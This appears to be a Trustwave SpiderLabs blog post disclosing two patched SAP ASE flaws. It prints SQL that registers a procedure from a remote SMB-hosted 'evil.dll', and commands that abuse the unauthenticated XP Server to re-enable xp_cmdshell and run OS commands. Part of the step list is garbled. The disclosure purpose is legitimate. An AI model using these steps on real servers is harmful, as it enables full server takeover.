Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Recently SAP patched two important security issues in Adaptive Server Enterprise (ASE). One is arbitrary code execution via the CREATE PROCEDURE
statement. It turns out that any valid database user granted the CREATE PROCEDURE
privilege can trivially run arbitrary code in the server's process context by creating wrappers around functions exposed by libraries accessible to the server process. This completely bypasses restrictions imposed by the extended procedure registration mechanism via the sp_addextendedproc
system stored procedure which requires System Administrator access.
Consider this example:
CREATE PROCEDURE RunMe AS EXTERNAL NAME "\\SERVER\PATH\evil.dll"
go
Executed on a Windows version of ASE, this code will fetch the evil.dll
from a specific remote box (which should be configured to allow access via SMB to everyone) and register it as a procedure within the current database. If the exported function named RunMe
is defined in the evil.dll
, a call as shown below will succeed and run that function:
EXECUTE RunMe
go
Essentially this will execute attacker-provided code in the XP server's process context. This results in a complete takeover of both the XP server and the database server because both servers run on the same machine under the same operating system accounts.
To fix the problem, SAP added restrictions on the path used to register external libraries.
Here is a quote from the EBF 24488 README for ASE 16.0 SP01 PL02 release:
XPserver Enhancements
...
2. The DLL (dynamic link library) containing the code for the Extended
Stored Procedure (ESP) must now be located in the 'esplib' subdirectory
in the $SYBASE release tree as follows:
$SYBASE/$SYBASE_ASE/esplib (on unix)
%SYBASE%\%SYBASE_ASE%\esplib (on windows)
Please create the above directory (with restricted permissions) if it
doesn't already exist in your release tree. This is to ensure that only
DLLs from a trusted source are loaded by the xpserver.
...
So now there is a restriction on where users can place extended stored procedure files (libraries), which should limit the attack surface significantly.
The other problem is missing authentication checks in the ASE XP Server component. Basically the XP Server responsible for extended procedures handling does not have any security in place on unpatched servers! The same problem affecting the Backup server component was reported by to SAP by Trustwave SpiderLabs and fixed almost two years ago (see SAP Note: 1927859 - Missing authentication check in SAP Sybase ASE).
So what's going on here? The database server communicates with the XP Server via RPC. When a client asks to run an extended procedure, the database server establishes a connection (using the TDS protocol, like a normal client would) to the XP Server and sends an RPC request. The authentication step is completely ignored there. So all an attacker needs to do to take over an unpatched XP Server is to use his own database server and run a series of commands on it:
sp_dropserver LOCAL_XP
go
sp_addserver LOCAL_XP, RPCServer, REMOTE_XP
go
REMOTE_XP
to XP Server being attacked.xp_cmdshell
context system configuration option to zero to turn off security in xp_cmdshell
built-in extended procedure which will be used next.xp_cmdshell
to execute arbitrary OS commands!Steps 3 and 4 could be changed of course to execute another extended stored procedure.
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.
Copyright © 2024 Trustwave Holdings, Inc. All rights reserved.